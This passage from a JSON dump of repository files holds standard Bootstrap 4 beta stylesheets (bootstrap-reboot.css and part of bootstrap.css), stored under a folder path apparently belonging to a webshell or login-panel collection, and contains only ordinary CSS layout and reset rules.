    "content": "html {\n  box-sizing: border-box;\n  font-family: sans-serif;\n  line-height: 1.15;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n  -ms-overflow-style: scrollbar;\n  -webkit-tap-highlight-color: transparent;\n}\n\n*,\n*::before,\n*::after {\n  box-sizing: inherit;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n\nbody {\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n  font-size: 1rem;\n  font-weight: normal;\n  line-height: 1.5;\n  color: #212529;\n  background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n  outline: none !important;\n}\n\nhr {\n  box-sizing: content-box;\n  height: 0;\n  overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: .5rem;\n}\n\np {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n  text-decoration: underline;\n  -webkit-text-decoration: underline dotted;\n          text-decoration: underline dotted;\n  cursor: help;\n  border-bottom: 0;\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: bold;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0;\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic;\n}\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -.25em;\n}\n\nsup {\n  top: -.5em;\n}\n\na {\n  color: #007bff;\n  text-decoration: none;\n  background-color: transparent;\n  -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n  color: #0056b3;\n  text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus, a:not([href]):not([tabindex]):hover {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n  outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\npre {\n  margin-top: 0;\n  margin-bottom: 1rem;\n  overflow: auto;\n}\n\nfigure {\n  margin: 0 0 1rem;\n}\n\nimg {\n  vertical-align: middle;\n  border-style: none;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\na,\narea,\nbutton,\n[role=\"button\"],\ninput,\nlabel,\nselect,\nsummary,\ntextarea {\n  -ms-touch-action: manipulation;\n      touch-action: manipulation;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ncaption {\n  padding-top: 0.75rem;\n  padding-bottom: 0.75rem;\n  color: #868e96;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  text-align: left;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: .5rem;\n}\n\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box;\n  padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto;\n  resize: vertical;\n}\n\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit;\n  white-space: normal;\n}\n\nprogress {\n  vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  outline-offset: -2px;\n  -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n  font: inherit;\n  -webkit-appearance: button;\n}\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item;\n}\n\ntemplate {\n  display: none;\n}\n\n[hidden] {\n  display: none !important;\n}\n/*# sourceMappingURL=bootstrap-reboot.css.map */"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/bootstrap/css/bootstrap.css",
    "content": "/*!\n * Bootstrap v4.0.0-beta (https://getbootstrap.com)\n * Copyright 2011-2017 The Bootstrap Authors\n * Copyright 2011-2017 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n@media print {\n  *,\n  *::before,\n  *::after {\n    text-shadow: none !important;\n    box-shadow: none !important;\n  }\n  a,\n  a:visited {\n    text-decoration: underline;\n  }\n  abbr[title]::after {\n    content: \" (\" attr(title) \")\";\n  }\n  pre {\n    white-space: pre-wrap !important;\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  .navbar {\n    display: none;\n  }\n  .badge {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #ddd !important;\n  }\n}\n\nhtml {\n  box-sizing: border-box;\n  font-family: sans-serif;\n  line-height: 1.15;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n  -ms-overflow-style: scrollbar;\n  -webkit-tap-highlight-color: transparent;\n}\n\n*,\n*::before,\n*::after {\n  box-sizing: inherit;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n\nbody {\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n  font-size: 1rem;\n  font-weight: normal;\n  line-height: 1.5;\n  color: #212529;\n  background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n  outline: none !important;\n}\n\nhr {\n  box-sizing: content-box;\n  height: 0;\n  overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: .5rem;\n}\n\np {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n  text-decoration: underline;\n  -webkit-text-decoration: underline dotted;\n          text-decoration: underline dotted;\n  cursor: help;\n  border-bottom: 0;\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: bold;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0;\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic;\n}\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -.25em;\n}\n\nsup {\n  top: -.5em;\n}\n\na {\n  color: #007bff;\n  text-decoration: none;\n  background-color: transparent;\n  -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n  color: #0056b3;\n  text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus, a:not([href]):not([tabindex]):hover {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n  outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\npre {\n  margin-top: 0;\n  margin-bottom: 1rem;\n  overflow: auto;\n}\n\nfigure {\n  margin: 0 0 1rem;\n}\n\nimg {\n  vertical-align: middle;\n  border-style: none;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\na,\narea,\nbutton,\n[role=\"button\"],\ninput,\nlabel,\nselect,\nsummary,\ntextarea {\n  -ms-touch-action: manipulation;\n      touch-action: manipulation;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ncaption {\n  padding-top: 0.75rem;\n  padding-bottom: 0.75rem;\n  color: #868e96;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  text-align: left;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: .5rem;\n}\n\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box;\n  padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto;\n  resize: vertical;\n}\n\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit;\n  white-space: normal;\n}\n\nprogress {\n  vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  outline-offset: -2px;\n  -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n  font: inherit;\n  -webkit-appearance: button;\n}\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item;\n}\n\ntemplate {\n  display: none;\n}\n\n[hidden] {\n  display: none !important;\n}\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n  margin-bottom: 0.5rem;\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.1;\n  color: inherit;\n}\n\nh1, .h1 {\n  font-size: 2.5rem;\n}\n\nh2, .h2 {\n  font-size: 2rem;\n}\n\nh3, .h3 {\n  font-size: 1.75rem;\n}\n\nh4, .h4 {\n  font-size: 1.5rem;\n}\n\nh5, .h5 {\n  font-size: 1.25rem;\n}\n\nh6, .h6 {\n  font-size: 1rem;\n}\n\n.lead {\n  font-size: 1.25rem;\n  font-weight: 300;\n}\n\n.display-1 {\n  font-size: 6rem;\n  font-weight: 300;\n  line-height: 1.1;\n}\n\n.display-2 {\n  font-size: 5.5rem;\n  font-weight: 300;\n  line-height: 1.1;\n}\n\n.display-3 {\n  font-size: 4.5rem;\n  font-weight: 300;\n  line-height: 1.1;\n}\n\n.display-4 {\n  font-size: 3.5rem;\n  font-weight: 300;\n  line-height: 1.1;\n}\n\nhr {\n  margin-top: 1rem;\n  margin-bottom: 1rem;\n  border: 0;\n  border-top: 1px solid rgba(0, 0, 0, 0.1);\n}\n\nsmall,\n.small {\n  font-size: 80%;\n  font-weight: normal;\n}\n\nmark,\n.mark {\n  padding: 0.2em;\n  background-color: #fcf8e3;\n}\n\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline-item {\n  display: inline-block;\n}\n\n.list-inline-item:not(:last-child) {\n  margin-right: 5px;\n}\n\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\n.blockquote {\n  margin-bottom: 1rem;\n  font-size: 1.25rem;\n}\n\n.blockquote-footer {\n  display: block;\n  font-size: 80%;\n  color: #868e96;\n}\n\n.blockquote-footer::before {\n  content: \"\\2014 \\00A0\";\n}\n\n.img-fluid {\n  max-width: 100%;\n  height: auto;\n}\n\n.img-thumbnail {\n  padding: 0.25rem;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 0.25rem;\n  transition: all 0.2s ease-in-out;\n  max-width: 100%;\n  height: auto;\n}\n\n.figure {\n  display: inline-block;\n}\n\n.figure-img {\n  margin-bottom: 0.5rem;\n  line-height: 1;\n}\n\n.figure-caption {\n  font-size: 90%;\n  color: #868e96;\n}\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\ncode {\n  padding: 0.2rem 0.4rem;\n  font-size: 90%;\n  color: #bd4147;\n  background-color: #f8f9fa;\n  border-radius: 0.25rem;\n}\n\na > code {\n  padding: 0;\n  color: inherit;\n  background-color: inherit;\n}\n\nkbd {\n  padding: 0.2rem 0.4rem;\n  font-size: 90%;\n  color: #fff;\n  background-color: #212529;\n  border-radius: 0.2rem;\n}\n\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: bold;\n}\n\npre {\n  display: block;\n  margin-top: 0;\n  margin-bottom: 1rem;\n  font-size: 90%;\n  color: #212529;\n}\n\npre code {\n  padding: 0;\n  font-size: inherit;\n  color: inherit;\n  background-color: transparent;\n  border-radius: 0;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\n.container {\n  margin-right: auto;\n  margin-left: auto;\n  padding-right: 15px;\n  padding-left: 15px;\n  width: 100%;\n}\n\n@media (min-width: 576px) {\n  .container {\n    max-width: 540px;\n  }\n}\n\n@media (min-width: 768px) {\n  .container {\n    max-width: 720px;\n  }\n}\n\n@media (min-width: 992px) {\n  .container {\n    max-width: 960px;\n  }\n}\n\n@media (min-width: 1200px) {\n  .container {\n    max-width: 1140px;\n  }\n}\n\n.container-fluid {\n  width: 100%;\n  margin-right: auto;\n  margin-left: auto;\n  padding-right: 15px;\n  padding-left: 15px;\n  width: 100%;\n}\n\n.row {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n.no-gutters {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n  position: relative;\n  width: 100%;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n\n.col {\n  -ms-flex-preferred-size: 0;\n      flex-basis: 0;\n  -ms-flex-positive: 1;\n      flex-grow: 1;\n  max-width: 100%;\n}\n\n.col-auto {\n  -ms-flex: 0 0 auto;\n      flex: 0 0 auto;\n  width: auto;\n  max-width: none;\n}\n\n.col-1 {\n  -ms-flex: 0 0 8.333333%;\n      flex: 0 0 8.333333%;\n  max-width: 8.333333%;\n}\n\n.col-2 {\n  -ms-flex: 0 0 16.666667%;\n      flex: 0 0 16.666667%;\n  max-width: 16.666667%;\n}\n\n.col-3 {\n  -ms-flex: 0 0 25%;\n      flex: 0 0 25%;\n  max-width: 25%;\n}\n\n.col-4 {\n  -ms-flex: 0 0 33.333333%;\n      flex: 0 0 33.333333%;\n  max-width: 33.333333%;\n}\n\n.col-5 {\n  -ms-flex: 0 0 41.666667%;\n      flex: 0 0 41.666667%;\n  max-width: 41.666667%;\n}\n\n.col-6 {\n  -ms-flex: 0 0 50%;\n      flex: 0 0 50%;\n  max-width: 50%;\n}\n\n.col-7 {\n  -ms-flex: 0 0 58.333333%;\n      flex: 0 0 58.333333%;\n  max-width: 58.333333%;\n}\n\n.col-8 {\n  -ms-flex: 0 0 66.666667%;\n      flex: 0 0 66.666667%;\n  max-width: 66.666667%;\n}\n\n.col-9 {\n  -ms-flex: 0 0 75%;\n      flex: 0 0 75%;\n  max-width: 75%;\n}\n\n.col-10 {\n  -ms-flex: 0 0 83.333333%;\n      flex: 0 0 83.333333%;\n  max-width: 83.333333%;\n}\n\n.col-11 {\n  -ms-flex: 0 0 91.666667%;\n      flex: 0 0 91.666667%;\n  max-width: 91.666667%;\n}\n\n.col-12 {\n  -ms-flex: 0 0 100%;\n      flex: 0 0 100%;\n  max-width: 100%;\n}\n\n.order-1 {\n  -ms-flex-order: 1;\n      order: 1;\n}\n\n.order-2 {\n  -ms-flex-order: 2;\n      order: 2;\n}\n\n.order-3 {\n  -ms-flex-order: 3;\n      order: 3;\n}\n\n.order-4 {\n  -ms-flex-order: 4;\n      order: 4;\n}\n\n.order-5 {\n  -ms-flex-order: 5;\n      order: 5;\n}\n\n.order-6 {\n  -ms-flex-order: 6;\n      order: 6;\n}\n\n.order-7 {\n  -ms-flex-order: 7;\n      order: 7;\n}\n\n.order-8 {\n  -ms-flex-order: 8;\n      order: 8;\n}\n\n.order-9 {\n  -ms-flex-order: 9;\n      order: 9;\n}\n\n.order-10 {\n  -ms-flex-order: 10;\n      order: 10;\n}\n\n.order-11 {\n  -ms-flex-order: 11;\n      order: 11;\n}\n\n.order-12 {\n  -ms-flex-order: 12;\n      order: 12;\n}\n\n@media (min-width: 576px) {\n  .col-sm {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -ms-flex-positive: 1;\n        flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-sm-auto {\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-sm-1 {\n    -ms-flex: 0 0 8.333333%;\n        flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-sm-2 {\n    -ms-flex: 0 0 16.666667%;\n        flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-sm-3 {\n    -ms-flex: 0 0 25%;\n        flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-sm-4 {\n    -ms-flex: 0 0 33.333333%;\n        flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-sm-5 {\n    -ms-flex: 0 0 41.666667%;\n        flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-sm-6 {\n    -ms-flex: 0 0 50%;\n        flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-sm-7 {\n    -ms-flex: 0 0 58.333333%;\n        flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-sm-8 {\n    -ms-flex: 0 0 66.666667%;\n        flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-sm-9 {\n    -ms-flex: 0 0 75%;\n        flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-sm-10 {\n    -ms-flex: 0 0 83.333333%;\n        flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-sm-11 {\n    -ms-flex: 0 0 91.666667%;\n        flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-sm-12 {\n    -ms-flex: 0 0 100%;\n        flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-sm-1 {\n    -ms-flex-order: 1;\n        order: 1;\n  }\n  .order-sm-2 {\n    -ms-flex-order: 2;\n        order: 2;\n  }\n  .order-sm-3 {\n    -ms-flex-order: 3;\n        order: 3;\n  }\n  .order-sm-4 {\n    -ms-flex-order: 4;\n        order: 4;\n  }\n  .order-sm-5 {\n    -ms-flex-order: 5;\n        order: 5;\n  }\n  .order-sm-6 {\n    -ms-flex-order: 6;\n        order: 6;\n  }\n  .order-sm-7 {\n    -ms-flex-order: 7;\n        order: 7;\n  }\n  .order-sm-8 {\n    -ms-flex-order: 8;\n        order: 8;\n  }\n  .order-sm-9 {\n    -ms-flex-order: 9;\n        order: 9;\n  }\n  .order-sm-10 {\n    -ms-flex-order: 10;\n        order: 10;\n  }\n  .order-sm-11 {\n    -ms-flex-order: 11;\n        order: 11;\n  }\n  .order-sm-12 {\n    -ms-flex-order: 12;\n        order: 12;\n  }\n}\n\n@media (min-width: 768px) {\n  .col-md {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -ms-flex-positive: 1;\n        flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-md-auto {\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-md-1 {\n    -ms-flex: 0 0 8.333333%;\n        flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-md-2 {\n    -ms-flex: 0 0 16.666667%;\n        flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-md-3 {\n    -ms-flex: 0 0 25%;\n        flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-md-4 {\n    -ms-flex: 0 0 33.333333%;\n        flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-md-5 {\n    -ms-flex: 0 0 41.666667%;\n        flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-md-6 {\n    -ms-flex: 0 0 50%;\n        flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-md-7 {\n    -ms-flex: 0 0 58.333333%;\n        flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-md-8 {\n    -ms-flex: 0 0 66.666667%;\n        flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-md-9 {\n    -ms-flex: 0 0 75%;\n        flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-md-10 {\n    -ms-flex: 0 0 83.333333%;\n        flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-md-11 {\n    -ms-flex: 0 0 91.666667%;\n        flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-md-12 {\n    -ms-flex: 0 0 100%;\n        flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-md-1 {\n    -ms-flex-order: 1;\n        order: 1;\n  }\n  .order-md-2 {\n    -ms-flex-order: 2;\n        order: 2;\n  }\n  .order-md-3 {\n    -ms-flex-order: 3;\n        order: 3;\n  }\n  .order-md-4 {\n    -ms-flex-order: 4;\n        order: 4;\n  }\n  .order-md-5 {\n    -ms-flex-order: 5;\n        order: 5;\n  }\n  .order-md-6 {\n    -ms-flex-order: 6;\n        order: 6;\n  }\n  .order-md-7 {\n    -ms-flex-order: 7;\n        order: 7;\n  }\n  .order-md-8 {\n    -ms-flex-order: 8;\n        order: 8;\n  }\n  .order-md-9 {\n    -ms-flex-order: 9;\n        order: 9;\n  }\n  .order-md-10 {\n    -ms-flex-order: 10;\n        order: 10;\n  }\n  .order-md-11 {\n    -ms-flex-order: 11;\n        order: 11;\n  }\n  .order-md-12 {\n    -ms-flex-order: 12;\n        order: 12;\n  }\n}\n\n@media (min-width: 992px) {\n  .col-lg {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -ms-flex-positive: 1;\n        flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-lg-auto {\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-lg-1 {\n    -ms-flex: 0 0 8.333333%;\n        flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-lg-2 {\n    -ms-flex: 0 0 16.666667%;\n        flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-lg-3 {\n    -ms-flex: 0 0 25%;\n        flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-lg-4 {\n    -ms-flex: 0 0 33.333333%;\n        flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-lg-5 {\n    -ms-flex: 0 0 41.666667%;\n        flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-lg-6 {\n    -ms-flex: 0 0 50%;\n        flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-lg-7 {\n    -ms-flex: 0 0 58.333333%;\n        flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-lg-8 {\n    -ms-flex: 0 0 66.666667%;\n        flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-lg-9 {\n    -ms-flex: 0 0 75%;\n        flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-lg-10 {\n    -ms-flex: 0 0 83.333333%;\n        flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-lg-11 {\n    -ms-flex: 0 0 91.666667%;\n        flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-lg-12 {\n    -ms-flex: 0 0 100%;\n        flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-lg-1 {\n    -ms-flex-order: 1;\n        order: 1;\n  }\n  .order-lg-2 {\n    -ms-flex-order: 2;\n        order: 2;\n  }\n  .order-lg-3 {\n    -ms-flex-order: 3;\n        order: 3;\n  }\n  .order-lg-4 {\n    -ms-flex-order: 4;\n        order: 4;\n  }\n  .order-lg-5 {\n    -ms-flex-order: 5;\n        order: 5;\n  }\n  .order-lg-6 {\n    -ms-flex-order: 6;\n        order: 6;\n  }\n  .order-lg-7 {\n    -ms-flex-order: 7;\n        order: 7;\n  }\n  .order-lg-8 {\n    -ms-flex-order: 8;\n        order: 8;\n  }\n  .order-lg-9 {\n    -ms-flex-order: 9;\n        order: 9;\n  }\n  .order-lg-10 {\n    -ms-flex-order: 10;\n        order: 10;\n  }\n  .order-lg-11 {\n    -ms-flex-order: 11;\n        order: 11;\n  }\n  .order-lg-12 {\n    -ms-flex-order: 12;\n        order: 12;\n  }\n}\n\n@media (min-width: 1200px) {\n  .col-xl {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -ms-flex-positive: 1;\n        flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-xl-auto {\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-xl-1 {\n    -ms-flex: 0 0 8.333333%;\n        flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-xl-2 {\n    -ms-flex: 0 0 16.666667%;\n        flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-xl-3 {\n    -ms-flex: 0 0 25%;\n        flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-xl-4 {\n    -ms-flex: 0 0 33.333333%;\n        flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-xl-5 {\n    -ms-flex: 0 0 41.666667%;\n        flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-xl-6 {\n    -ms-flex: 0 0 50%;\n        flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-xl-7 {\n    -ms-flex: 0 0 58.333333%;\n        flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-xl-8 {\n    -ms-flex: 0 0 66.666667%;\n        flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-xl-9 {\n    -ms-flex: 0 0 75%;\n        flex: 0 0 75%;\n    